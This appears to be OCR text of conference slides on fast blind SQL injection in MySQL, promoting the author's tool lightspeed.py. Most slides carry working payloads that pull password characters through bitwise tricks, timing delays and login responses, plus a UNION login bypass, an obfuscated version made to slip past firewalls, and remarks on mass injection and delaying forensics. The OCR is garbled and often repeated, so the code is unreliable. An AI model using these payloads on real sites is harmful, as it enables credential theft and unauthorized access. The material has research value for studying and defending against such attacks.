SLEEP (0.5))END)

a = 97 = 1100001 : 11
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Bit Superposition

?1d=1 AND (CASE WHEN (@ :=(select
mid(bin(ascii(mid(paisword,l,l))),l,2| from usuarios limit 1))='00" THEN O
WHEN @ ='01" THEN 1 WHEN @ ='10" THEN (0 OR NOT SLEEP(0.5))ELSE (1 AND NOT

SLEEP (0.5))END)

a = 97 = 1100001 : 11 00 ——> FALSE
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Bit Superposition

?7id=1 AND

(CASE WHEN (@ :=(select

mid(bin(ascii (mid(password,1,1))),1,2) firom usuarios limit 1))='00"' THEN O
WHEN @_='Ol' THEN 1 WHEN @_='10' THEN (0 OR NOT SLEEP(0.5))ELSE (1 AND NOT

a

97 =

1100001

11

SLEEP (0.5) ) END)

00 --> FALSE
01 --> TRUE
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Bit Superposition

?1d=1 AND (CASE WHEN (@ :=(select

mid(bin(ascii (mid(password,1,1))),1,2) from usuarios limit 1))='00"' THEN O

WHEN @ ='01" THE

N 1 WHEN @_='10r THEN (0O OR NOT SLEEP(0.5))ELSE (1 AND NOT

SLEEP (0.5) ) END)

a

97

1100001 :

11 00 --> FALSE
01 --> TRUE

10 --> FALSE, SLEEP(0,5)
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Bit Superposition

?1d=1 AND (CASE WHEN (@ :=(select
mid(bin(ascii (mid(password,1,1))),1,2) from usuarios limit 1))='00"' THEN O
WHEN @ ='01'" THEN 1 WHEN @ ='10"'" THEN (0 OR NOT SLEEP(0.5))ELSE (1 AND NOT
SLEEP (0.5))END)

a =97 = 1100001 : 11 00 —-=-> FALSE

01 —--> TRUE

10 --> FALSE, SLEEP(0,D5)
11 --> TRUE, SLEEP(0,5)
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Bit Superposition

?1d=1 AND (CASE WHEN (@ :=(select
mid(bin(ascii (mid(password,1,1))),1,2) from usuarios limit 1))='00"' THEN O
WHEN @ ='01"' THEN 1 WHEN @ ='10"' THEN (0 OR NOT SLEEP(0.5))ELSE (1 AND NOT
SLEEP (0.5))END)

a =97 = 1100001 : 11 00 -=-> FALSE

01 -=> TRUE

10 -> FALSE, SLEEP(0,D5)
11 -> TRUE, SLEEP(0,5)
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Comparison

while 1 < 100: md5 (1)

Method Requests
Duality 16,344
pos2bin 14,816

Duality with 13,693
superposition
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Overview of lightspeed.py

[+] To retrieve any character it takes always 3 requests

[+] For the UTF8 Latin range 1t takes 3 requests as well

[+] Each request is independent from the previous one:
[-] No need to perform sequentially

[-] Threading is unlimited!
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Overview of lightspeed.py

[+] To retrieve any character it takes always 3 requests

[+] For the UTF8 Latin range 1t takes 3 requests as well

[+] Each request is independent from the previous one:
[-] No need to perform sequentially

[-] Threading is unlimited!
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Overview of lightspeed.py

[+] To retrieve any character it takes always 3 requests

[+] For the UTF8 Latin range 1t takes|3 requests as well

[+] Each request is independent from the previous one:
[-] No need to perform sequentially

[-] Threading is unlimited!
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Overview of lightspeed.py

[+] To retrieve any character 1t takes always|3 requests

[+] For the UTF8 Latin range it takes|3 requests Fs well

[+] Each request is independent from the previous one:

[-] No need to perform sequentially
[-] Threading is unlimited!
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Shedding Light on Blind SQL Injections

[+] A Blind SQL1 occurs when only the origilnal content

of the websi an be displayed.

'S ssible to see other data

ry 1s too complex to 1nject UNION
UNION keyword is not allowed

The injection 1s used 1n multiple queries

etc...
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Shedding Light on Blind SQL Injections

[!] There are 2 kinds of Blind SQL Injections

Boolean Non-Boolean Blind SQLi
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Shedding Light on Blind SQL Injections

[!] There are 2 kinds of Blind SQL Injections

Boolean Non-Boolean Blind SQLi
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Boolean Blind SQL Injections

[!] Only 2 different types of responses
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Boolean Blind SQL Injections

[!] Only 2 different types of responses

FALS sponse TRUE response

In most cases 1t’s a login
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Shedding Light on Blind SQL Injections

[!] There are 2 kinds of Blind SQL Injections

Boolean ‘.

Non-Boolean Blind SQLi

147



Non-Boolean Blind SQL Injections

['] One FALSE response,
and

mul‘! TRUE responses
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Non-Boolean Blind SQL Injections

SELECT * FROM "users WHERE login='$ POST[user]'

1

Injection:
sword,1l,1)="a

Traditio
tr3w' A

Resulting query:

SELECT * FROM "users WHERE login='tr3w' AND
MID (password,1,1)="a"
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Non-Boolean Blind SQL Injections
SELECT * FROM "users WHERE login='$ POST[user]'

Attack Sur Expanding Blind Injection:

ser=(select 1f((select

(P ord,1l,1)from users limit
1)="

usuarios

1 gitos',1if((mi1d(usuario,1,1) from
it 1)="b', 'tr3w', 'hkm')) ) limit
1,1-- -
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Non-Boolean Blind SQL Injections
SELECT * FROM "users WHERE login='$ POST[user]'

Attack Sur Expanding Blind Injection:
ser=(select 1f((select

ord,1,1)from users limit
if((mid(usuario,1l,1) from

usuarios ' )="b"', "tr3w', '"hkm')) ) limit
1,1-- -
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Non-Boolean Blind SQL Injections
SELECT * FROM "users WHERE login='$ POST[user]'

Attack Sur Expanding Blind Injection:

ser=(select 1f((select

(P ord,1l,1)from users limit
1)="

usuarios

1 gitos',1if((mi1d(usuario,1,1) from
it 1)='b','tr3w'}'hkm')) ) limit
1,1-- -
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Non-Boolean Blind SQL Injections
SELECT * FROM "users WHERE login='$ POST[user]'

Attack Sur Expanding Blind Injection:

ser=(select 1f((select

(P ord,1l,1)from users limit
1)="

usuarios

1 gitos',1if((mi1d(usuario,1,1) from
it 1)="b', 'tr3w','hkm'"))) ) limit
1,1-- -
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Non-Boolean Blind SQL Injections
SELECT * FROM "users WHERE login='$ POST[user]'

Translatio

, 1) =="Ta':

htos logs 1n

Else if m sword,1l,1l) == "b':
User tr3w logs 1n

If mid(p

1

Else
User hkm logs 1in
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Non-Boolean Blind SQL Injections

3 different responses.

nested to increase to 8
es (or more) .

[+] MoreplF

differen
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Non-Boolean Blind SQL Injections

[!] Not only a FALSE response, but also
multiple TRUE responses:

Online stores
Blogs

Article websites
Dynamic content
Logins

] Most websites out
there. ..

+ + + + + +
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Non-Boolean Blind SQL Injections

[!] Not only a FALSE response, but also
multiple TRUE responses:

Online stores
Blogs

/?1d
/?1d

e e AN I S e S—

L

[ +
/?1d [+] Article websites
/?21id=4 [+] Dynamic content
/?21d=5 [+] Logins
/?21d=06 [+] Most websites out

/?21d="7 there. ..
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Non-Boolean Blind SQL Injections

[!] Not only a FALSE response, but also

multiple TRUE responses: AttaCk surface
/?1d [+] Online stores
/?1id [+] Blogs
/?1d [+] Article websites
/?21id [+] Dynamic content
/?21d=5 [+] Logins
/?1d=6 [+] Most websites out
/?21d="7 there. ..
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Non-Boolean Blind SQL Injections

[!] Not only a FALSE response, but also
multiple TRUE responses:

/?id The semantics of the attack
/?1d vectors are amplified by
/?1id expanding the attack surface
/?21id=4 to use all the available
/?21d=5 information in order to make
/?21d=6 the extraction process much

/?21d="7 faster.
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How does 1t work?

[+] A regular Blind SQL Injection works like this:

?id=1 AND (SELECT MID (pasword,1l,1) BETWEEN 0x00 and 0x7f )

[+] But what 1f we change the conditional operand AND

for a bitwise operand, just like | (bitwise OR) :
2id=0 | (SELECT
CONV (MID (LPAD (BIN (ASCII (MID(password,1,1))),8,'0"),1,3),2,10)FROM users

LIMIT 1)
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How does 1t work?

[+] A regular Blind SQL Injection works like this:

?id=1 AND [(SELECT MID (pasword,1l,1) BETWEEN 0x00 and 0x7f )

[+] But what 1f we change the conditional operand |AND

for a bitwise operand, just like|| (bitwise OR)
2id=0 | [(SELECT
CONV (MID (LPAD (BIN (ASCII (MID(password,1,1))),8,'0"),1,3),2,10)FROM users

LIMIT 1)
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[+]

How does 1t work?

each of the first 8 IDs.

E

e Xt

?21d=0
?1d=1
?1d=2
?1d=3

?1d=4
?1d=5
?1d=06
?1d=7

First an MD5 hash 1s generated for the response of

C:\Users\Usuario\Documents\workstation\lightspeed>lightspeed.py

do=editUser&id="

[+] Generating hashes
#0:
#1:
#2:
#3:
#4:
#5:
#6:
#7:

[-] Hash
[-] Hash
[-] Hash
[-] Hash
[-] Hash
[-] Hash
[-] Hash
[-] Hash

62435t4d1104d8fcbab9124452092782
d726318e87114cb8d4511981185d60610
d8al1864cabfildefcfd9at34973d31367
bec198f3ccda5fd84bfob41f365e01e2
dbb56d3110626b6b1ffd32b86b14+586d
b90fa53734949bc1704832464c964811
66cc4bd6773c648a2bc5db37ebf07e02
46164872d41140629c28cc8fd2f726f6

[+] Calculating length: ©0100000

[+] Length found: 32
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How does 1t work?

[+] Each
different id
number can pe
represented
as a set of 3
bits:

?id=

Binary
representation

000

001

010

011

100

101

110

111
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What does the 1njection do?

?id=0 | (SELECT
CONV (MID (LPAD (BIN(ASCII (MID(password,1,1))),8,'0'"),1,3),2
,10) FROM users LIMIT 1)
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What does the i1njection do?

?21d=0 | (SELECT
CONV (MID (LPAD (BIN (ASCII (MID (password,1,1))),8,'0'),1,3),2
,10) FROM users LIMIT 1)

a
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What does the 1njection do?

?21d=0 | (SELECT
CONV (MID (LPAD (BIN(ASCIT (MID(password,1,1))),8,'0"),1,3),2
,10) FROM users LIMIT 1)

a =197
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What does the 1njection do?

?1d=0

,10) FROM users LIMIT 1)

a

(SELECT
CONV (MID (LPAD (BIN (ASCITI (MID(password,1,1))),8,'0"),1,3),2

N

1100001
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What does the 1njection do?

?21d=0 | (SELECT
CONV (MID (LPAD (BIN (ASCII (MID (password,1,1))),8,'0'),1,3),2
,10) FROM users LIMIT 1)

a =97 = 1100001 =/01100001
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What does the 1njection do?

?21d=0 | (SELECT
CONV (MID (LPAD (BIN (ASCII (MID (password,1,1))),8,'0"),1,3),2
,10) FROM users LIMIT 1)

a =9/ = 1100001 = 01100001 :|O11
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What does the 1njection do?

?21d=0 | (SELECT
CONV (MID(LPAD (BIN(ASCII (MID(password,1,1))),8,'0"),1,3),7~2
, 10)FROM users LIMIT 1)

a = 97 = 1100001 = 01100001 : 011 = 3
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What does the i1njection do?

?id=0 | (SELECT
CONV (MID (LPAD (BIN (ASCII (MID (password,1,1))),8,'0"'),1,3),2

,10) FROM users LIMIT 1)
97 = 1100001 = 01100001 : 011 = 3 =>1|0 | 3 = 3

a:

If page 3 is retrieved, it means that the first 3 bits of

the character are 011

With only 3 requests we can retrieve all the bits 1n the

character, add threading to achieve this in an instant.
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What does the 1njection do?

?id=0 | (SELECT
CONV (MID (LPAD (BIN (ASCII (MID (password,1,1))),8,'0"'),1,3),2

,10) FROM users LIMIT 1)
97 = 1100001 = 01100001 : 011 = 3 =>|0 | 3 = 3

a:

If page 3 is retrieved, it means that the first 3 bits of

the character are 011

we can retrieve all the bits in the

With only] 3 requests
add threading to achieve this in an instant.

character,

172



Can you do this with AND 1nstead of OR?

?1d=7 & (SELECT
CONV (MID (LPAD (BIN (ASCII (MID(password,1,1))),8,'0"),1,3),2

,10) FROM users LIMIT 1)
7 = 111
&
a = 97 = 1100001 = 01100001 : 011 = 3 =>17 & 3

I
W

Just use 7 because all 3 bits are set
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What about quoted parameters?

?id='" | (SELECT
CONV (MID (LPAD (BIN (ASCIT (MID (password,1,1))),8,'0"),1,3),2
,10) FROM users LIMIT 1) -- -

[+] Just add a quote at the beginning and use OR.

[+] Most DBMS treat empty strings ('') as 0.

[+] Remember to comment out the trailing quote: -- -
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One request extraction

[+] You only need 7 or 3 IDS for 1t to work
[+] One request extraction

[-] Is 1t worth 1t?
[-] When is it worth 1it?
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U+4E00
U+4E13
U+4E26
U+4E39
U+4E4C
U+4ESF
U+4E71
U+4E84
U+4E97
U+4EAA
U+4EBD
U+4ECF
U+4EE2
U+4EF5
U+4F08
U+4F1B
U+4F2D
U+4F40
U+4F53
U+4F66
U+4F79
U+4F8B
U+4F9E
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U+5080
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U+4E01
U+4E14
U+4E27
U+4E3A
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Lightspeed for logins
[+] 10 users are registered with the

same password

[+] The sequence of bits 1s determined
by seeing which user the application
logged 1n after the injection 1s made.
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lightspeed login

v

or user=(select if((da:=(select

conv (@x:=mid(bin(ascii (mid(password,1,1))),1,3),
2,10) from users limit 1))=1, '"lightos"',if (

da=2, 'hkm',1f (Ga=3, 'calderpwn',1f (Cta=4, 'nitrOus'
,1f (@a=5, 'sirdarkcat',if (@a=6, 'n3k',1f (

@a="7, 'vhramosa',1f (@x='0", "xxronvel',1f (@x="'00",
'garethheyes', 'tr3w'))))))))))
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lightspeed login

or user=(select if((da:=(select

conv (@x:=mid(bin(ascii (mid(password,1,1))),1,3),
2,10) from users limit 1))=1, 'lightos"',if (

da=2, 'hkm',1f (la=3, 'calderpwn',1f (la=4, "'nitrOus'
,1f (@a=5, 'sirdarkcat',i1f (Qa=6, 'n3k',1f (

@a="7, 'vhramosa',1f (@x='0", "xxronvel',1f (@x="'00",
'garethheyes', 'tr3w'))))))))))
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[+] Start Time: 15:56:59
+] End Time: 15:57:00
‘[+] 1008 requests

[+] Done.
' tr3wéspine-ripper:-/stuff/lightspeeds |

1 second
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About lightspeed.py
[+]Created by me 1n 2020

Ruben [tr3w] Ventura

Atr3w
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Overview of lightspeed

[+] Just released the tool which uses this
method: lightspeed.py

http: 1thub.com/tr3w
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The column problem

or user=(select if((da:=(select

conv (@x:=mid(bin(ascii (mid(password,1,1))),1,3),
2,10) from users limit 1))=1, 'lightos"',if (

da=2, 'hkm',1f (la=3, 'calderpwn',1f (la=4, "'nitrOus'
,1f (@a=5, 'sirdarkcat',i1f (Qa=6, 'n3k',1f (

@a="7, 'vhramosa',1f (@x='0", "xxronvel',1f (@x="'00",
'garethheyes', 'tr3w'))))))))))
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The column problem

or|user= (select if((da:=(select

conv (@x:=mid(bin(ascii (mid(password,1,1))),1,3),
2,10) from |users| 1imit 1))=1, 'lightos"',1if (

da=2, 'hkm',1f (da=3, 'calderpwn',1f (la=4, "'nitrOus'
,1f (@a=5, 'sirdarkcat',i1f (Qa=6, 'n3k',1f (

@a="7, 'vhramosa',1f (@x='0", "xxronvel',1f (@x="'00",
'garethheyes', 'tr3w'))))))))))
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The column problem PESESEDEDRS

or|user= (select if((da:=(select

conv (@x:=mid(bin(ascii (mid(password,1,1))),1,3),
2,10) from |users| 1imit 1))=1, 'lightos"',1if (

da=2, 'hkm',1f (da=3, 'calderpwn',1f (la=4, "'nitrOus'
,1f (@a=5, 'sirdarkcat',i1f (Qa=6, 'n3k',1f (

@a=7, 'vhramosa',1f (@x="'0", "xxronvel', 1f (@x="'00",
'garethheyes', 'tr3w'))))))))))
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The column problem

> - —_—
cwemuznﬂmugmmxuﬂmmapnmquﬂun
'm% . e’

2:nm31namtsgdﬁlun)

e
|
|
&

mysql> || \
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The column problem

2 rows in seg.‘,gg.'ﬁf sec)

mysql> | )

192



The column problem

SELECT * FROM users WHERE user = 'S'
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The column problem

SELECT * FROM users WHERE user = '"' union select

info from information schema.processlist-- -
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The column problem

SELECT * FROM users WHERE user = '' union select
info from information schema.processlist-- -

mysql> select user from users where id=0 union selectlinfp!’
-> from information schema.processlist; ]

[ S

| user

r
.

| select user from users where id=0 union select info
from information schema.processlist |

2 rows in set (0.00 sec)

mysql> | 195



The column problem

SELECT user FROM USERS WHERE user='S'
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The column problem

SELECT user FROM USERS WHERE user='tr3w'
and (select (trim(regexp replace (regexp substr( (select
info from Information schema.processlist limit
0,1), 'select[[:space:] ]+ (.*?)from'), ' (select|from)', '

))))="x"
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The column problem

SELECT user FROM USERS WHERE user='tr3w'
and (select (trim(regexp replace (regexp substr( (select

info from Information schema.processlist limit

0,1), 'select[[:space:] ]+ (.
")))) T

m'),'(select|from)',"
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The column problem

SELECT

user

FROM USERS WHERE user='tr3w'

and (select (trim(regexp replace (regexp substr( (select

info from Information schema.processlist limit

0,1), 'select[[:space:] ]+ (.*?)from'), ' (select|from)', '

))))="x"
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The column problem

SELECT password FROM USERS WHERE user='S'
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The column problem

SELECT password FROM USERS WHERE user='tr3w'
and (select (trim(regexp replace (regexp substr ((select
info from Information schema.processlist limit
0,1), 'where[[:space:]]+(.*?) [[:space:]=]+"),
'(where| [[:space:]]|=)",""))))#'
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The column problem

SELECT password FROM USERS WHERE

users

='tr3w'

and (select (trim(regexp replace (regexp substr ((select

info from Information schema.processlist limit

0,1), 'where[[:space:]]+(.*?) [[:space:]=]+"),

"(wherel| [[:space:]]I=)",""))))#'
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The column problem

table name

2bwsvu3bgl
038032kkvc
Pnnvxiavbo
1h3rtwfob6l
X4kxwigyph
Faxtpg4hjm
9ao9%u2ayrz

YNG11HIE3FS
FZS52VOSOFF
JCE71IMIR7YBCWS79VQ
HO9TUEJO44PKWOVK
OAY25VWC5SDUDDY98CV
M4ATMQTV42IFULIQIKGU
36BUHBKOFHC73MCZ6P
A

CWASSVXD6IQBWYO7LO
L6HKZMYS56WERG6FEWMZ
06XQY70AELM20MLG4L
ULSY18DJNSDYEHX29U
WMOBSXFM32GDM4XJINY
V75ERN3ECJIBW84PXKO
BU

RRI16RRB1IANMDL86JC
T5BYLXB36UJL6YPYFV
17VYV5KGNIF84EFEL1Q
SJGO54RYR6CHHLG24B
JW30OUJER98CSR5JGMB
W71ZIC5ELXKR79VOP8
YK
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The column problem

SELECT x FROM USERS WHERE y='S$'
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The column problem

SELECT x FROM USERS WHERE y='tr3w' and(select
group concat (column name) from information schema.columns
where
table name=(select (trim(regexp replace (regexp substr
((select info from information schema.processlist limit
0,1), "from[[:space:] ]+ (.*?)+[[:space:]]"),"([[:space:]]|f
rom| (.*2)\\.) "', "")))))#!
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The column problem

SELECT x FROM USERS| WHERE y='tr3w' and(select
group concat (column name) from information schema.columns
where
table name=(select (trim(regexp replace (regexp substr
((select info from information schema.processlist limit
0,1), "from[[:space:] ]+ (.*?)+[[:space:]]"),"([[:space:]]|f
rom| (.*2)\\.) ", "")))))#'

206



The column problem

SELECT x FRO% USERS| WHERE y='tr3w' and(select
group con¢at (column name) from 1nrormatlonscne]a.columns

where
table name=(select (trim(regexp replace (regex
((select info from information schema.processlist limit
0,1), "from[[:space:] ]+ (.*?)+[[:space:]]"),"([[:space:]]|f
rom| (.*?2)\\.) ", "")))))#'

substr

207



word,1,1))),-

> Z 132 I

FEET

~'Method Comp&arison

st O 208
1 AND (SELECT ASCII(MID(uSgr’,l,l))" & %d FROM users)



[+] 10 MD5-hashes extraction

Method Time Requests
sglmap 10 seconds unknown
sgl—-anding.py 5 seconds 2652
Pos2bin full range 5 seconds 1900
Duality full range 5 seconds 2633
Pos2bin hex range 3 seconds 14677
Duality hex range 3 seconds 1635
lightspeed.py 1 second 1008
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(N

AND( SEBECT
t

Extraction Strategies

FRO

hese aal 210
1 AND (SELECT ASCII(MID(uSgr’,l,l))" & %d FROM users)



Tweet

Ey |V

- s o sz group concat ()

= 1,024 symbols

json_arrayagg ()

= 16,000,000 symbols

https://twitter.com/ptswarm/status/13084076287967764487?s=09
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Faster exploitation in MySQL

[+] Use compress () to reduce the size of large

of data.

I[+] Calculating length: ©0060000000000000000000000
£0000000000000000000000000000116161011

i[+] Length found: 427

L[+1 Found: 4 xBmSEn$!Qu!~E40:tBYAfvg/h§I!RED3EVCO
%yU95 . UhW§/0 B+ EM]/BEVxvek } jii~UByOY<E\ E$46
\MQAYchHO"3APweU§aNEE=DyIé4e

Se< jBe=EX2BNUCHAT1HeE IrR@

CBv CqNf¥%=AY~ G\BpE¥oYZ - G0BAAI pu+E0=XEE0EE I Un EAe
0>:di«i;0-wk:eox(fA1LAOdME: Bx70A 7 e=pl =3.EEEE~A
|1wcé0%xs= yPOE_pwaElpnd¢iieQ*dmm0e(i®|Rj}6 jCunat§xa!
2330¢EINf.U«g8IROBIRO4FHAABAY«\ , 0@%q* ~#BUERM 18 aEXUX
OEaEE# - *H)R ™ Qb@10]; {<AEX?E: @XBAtp7< EEP>E; AZ<x
Fb#é%@ee!u-@GIO:EiB/K@{a@hi@dPE-&ﬁu Sk/2

blocks
Query Length Compressed
length
group_ concat (table name) 1024 440
json arrayagg(table name) 1316 447
group_concat (column_name) 1024 458
json arrayagg(column name) 56897 8313
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table name FROM information schema.tables WHERE table schema='information schema'

group concat () vsS. LIMIT n,l
[+] Start Time: 13:39:40 [+] Start Time: 13:56:32
[+] End Time: 13:40:15 [+] End Time: 13:57:08
[+] Total time: 35s [+] Total time: 36s
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(N

) (LPAD (BIN(length (column)),%d, '0"'), -
1,1) FROM table)

Al
Authentication Bypasses

ternative

st Sl i 214
1 AND (SELECT ASCII(MID(usgr',l,l))" & "%d FROM users)



UNION SQL Injection Login Bypass

[+] Methods for bypassing logins using SQL Injection have
been introduced to the info-sec community and they have

been overused as a result.

[+] The purpose of this section is to show a different SQL

injection technique for bypassing logins.
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UNION SQL Injection Login Bypass

[+] This unpublished method
succeeds 1n bypassing many
logins 1n which the traditional

techniques fail.
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Classic SQL Injection Logiln Bypass

Query:

SELECT * FROM users WHERE login='Slogin' AND password='Spassword'

Bypass:

' or '1'='1

217



Classic SQL Injection Logiln Bypass

1" or '1'="1

[+] Usually only this bypass (and double quote wvariations)
is tested against logins. If it fails, it 1is generally
assumed the login functionality is not vulnerable since the

injection 1s blind (not really).

[+] There are many other login queries vulnerable to

different injections.
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UNION Blind SQL Injection

Query:

SELECT password FROM users WHERE login=' $login'
Then on the server-side:

if (Sresult == $ POST['password']) Authenticated();
Bypass:

' AND O UNION SELECT 'letmein' as password where 'l
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1 AND (SELECT ASCII(MID(uSgr’,l,l))" & %d FROM users)



Further Thoughts...

[+] Stealth injections using large intervals of time

[+] Distributed mass injections
[+] Obfuscation of all the presented injections

[-] Web Application Firewall Bypassing
[-] Forensics & Incident Response Delaying
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[+] Distributed mass injections

[+] Obfuscation of all the presented injections
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lightspeed logln obfuscation

1

Oor user=(select 1f((da:=(select

conv (@x:=mid(bin(ascii (mid(password,1,1))),1,3),2,10)fro
m users limit 1))=1,'lightos',1f(

@a=2, 'hkm',if (@a=3, '"calderpwn',if (Ga=4, 'nitrOus',if (Qa=>5
, 'sirdarkcat',if (Qa=6, 'n3k"', 1f (

da="7, 'vhramosa',if (@x='0"', "xxronvel',if (@x='00", 'garethh
eyes','tr3w'))))))))))
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lightspeed logln obfuscation

'| luser=(select if((QRa:=(select

conv (@x:=mid (bin (ascii (mid (password, true,cos(!pi())))),sign(rand()),coercibility(user())),!!'!'pi()--true,ceil
pi()*pi()))from users limit

1) )=true,concat (mid(collation(user()),12,1),mid(collation(!'pi()),2,1),mid(collation(user()),6,1),mid (dayname (
from days(404)),2,1),mid(collation(user()),2,1),mid(C@@version comment, 8,1),mid(dayname (from days (403)),6,1)),
if (Qa=true--sign(rand()),concat (mid(dayname (from days(404)),2,1),mid(collation(convert ((1l)using
koi8r)),1,1),mid(@@version comment,9,1)),1if (Ga=coercibility(user()),concat (mid(collation(user()),14,1),mid(co
llation(!pi()),4,1),mid(collation(user()),12,1),mid(dayname (from days (404)),6,1),mid(collation(user()),7,1),m
id(collation (user()),10,1),mid (monthname (from unixtime (10136789)),2,1),lower (mid(dayname (from days(403)),1,1)
) ,mid(collation(!pi()),3,1)),if (Ra=coercibility (now()),concat (mid(collation(!'pi()),3,1),mid(collation(!pi()),
2,1),mid(collation(user()),2,1),mid(collation(!pi()),5,1), (-!pi()),mid(Q@version comment,11l,1),mid(dayname (fr
om days (403)),6,1)),if (Ga=floor (@@version),concat (mid(dayname (from days (403)),6,1),mid(collation(!pi()),2,1),
mid(collation(!pi()),5,1),mid(dayname (from days (404)),6,1),mid(collation(!pi()),4,1),mid(collation(!pi()),5,1
) ,mid(collation(user()),14,1),mid(collation (convert ((1l)using
koi8r)),1,1),mid(collation(user()),14,1),mid(collation(!pi()),4,1),mid(collation(user()),2,1)),1if(da=ceil (@@v
ersion), 'n3k',if (Ga=ceil (pi()--pi()),concat (mid(QCversion comment,20,1),mid(dayname (from days (404)),2,1),mid
collation(!pi()),5,1),mid(collation(!pi()),4,1),mid(@@version comment, 9,1),mid(@@version comment,8,1),mid(day
name (from days (404)),5,1),

mid(collation(!pi()),4,1)),1if(€x=0x30,concat (0x7878,mid(collation(!pi()),5,1),mid(@@version comment,8,1),mid
collation(!pi()),3,1), mid(@@version comment,20,1),mid(collation(user()),7,1),
mid(collation(user()),12,1)),1f(@x=0x3030,concat (mid(collation(user()),6,1),mid(dayname (from days(401)),5,1),
mid (dayname (from days (404)),4,1),mid(collation(user()),7,1),mid(@G@version comment,14,1),mid(dayname (from days
(404)),2,1),mid (dayname (from days (404)),2,1),mid(collation(user()),7,1),mid(dayname (from days (404)),8,1),mid(
collation(user()),7,1),mid(dayname (from days (404)),5,1)),concat (mid(@@version comment,14,1),mid(collation(!pi
()),5,1),floor(pi()),lower (mid(dayname (from days(403)),1,1))))))))))))
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Thank you for your time

In case you want to follow me on social media:

Twitter: Cr3w
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